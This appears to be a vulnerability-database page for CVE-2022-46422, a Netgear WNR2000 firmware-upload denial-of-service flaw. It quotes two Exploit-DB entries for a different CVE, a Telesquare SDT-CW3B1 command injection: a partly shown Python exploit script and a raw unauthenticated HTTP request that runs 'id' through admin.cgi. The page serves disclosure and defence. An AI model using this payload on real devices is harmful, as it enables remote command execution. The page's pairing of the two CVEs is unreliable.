CVE-2022-46422
published 2022-12-20CVE-2022-46422: An issue in Netgear WNR2000 v1 1.2.3.7 and earlier allows authenticated attackers to cause a Denial of Service (DoS) via uploading a crafted firmware image…
PriorityP417medium4.8CVSS 3.1
AVNACHPRLUIRSUCNINAH
EPSS
0.27%
18.1th percentile
An issue in Netgear WNR2000 v1 1.2.3.7 and earlier allows authenticated attackers to cause a Denial of Service (DoS) via uploading a crafted firmware image during the firmware update process.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| netgear | wnr2000_firmware | <= 1.2.3.7 | — |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
exploitdb·2022-06-03·CVSS 9.8
CVE-2021-46422 [CRITICAL] Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
---
#!/usr/bin/python3
# Exploit Title: Telesquare SDT-CW3B1 1.1.0 - OS Command Injection
# Date: 24th May 2022
# Exploit Author: Bryan Leong
# Vendor Homepage: http://telesquare.co.kr/
# CVE : CVE-2021-46422
# Authentication Required: No
import requests
import argparse
import sys
from xml.etree import ElementTree
def sysArgument():
ap = argparse.ArgumentParser()
ap.add_argument("--host", required=True, help="target hostname/IP")
args = vars(ap.parse_args())
return args['host']
def checkHost(host):
url = "http://" + host
print("[*] Checking host is it alive?")
try:
rsl = requests.get(url)
print("[*] The host is alive.")
except requests.exceptions.Timeout as err:
raise SystemExit(err)
def exploit(host):
url = "http://" + host + "/cg
Exploit-DB
SDT-CW3B1 1.1.0 - OS Command Injection
exploitdb·2022-05-17·CVSS 9.8
CVE-2021-46422 [CRITICAL] SDT-CW3B1 1.1.0 - OS Command Injection
SDT-CW3B1 1.1.0 - OS Command Injection
---
# Exploit Title: SDT-CW3B1 1.1.0 - OS command injection
# Date: 2022-05-12
# Exploit Author: Ahmed Alroky
# Author Company : AIactive
# Version: 1.0.0
# Vendor home page : http://telesquare.co.kr/
# Authentication Required: No
# CVE : CVE-2021-46422
# Tested on: Windows
# HTTP Request
GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1
Host: IP_HERE
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
Accept: */*
Referer: http:// IP_HERE /admin/system_command.shtml
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
No writeups or analysis indexed.
2022-12-20
Published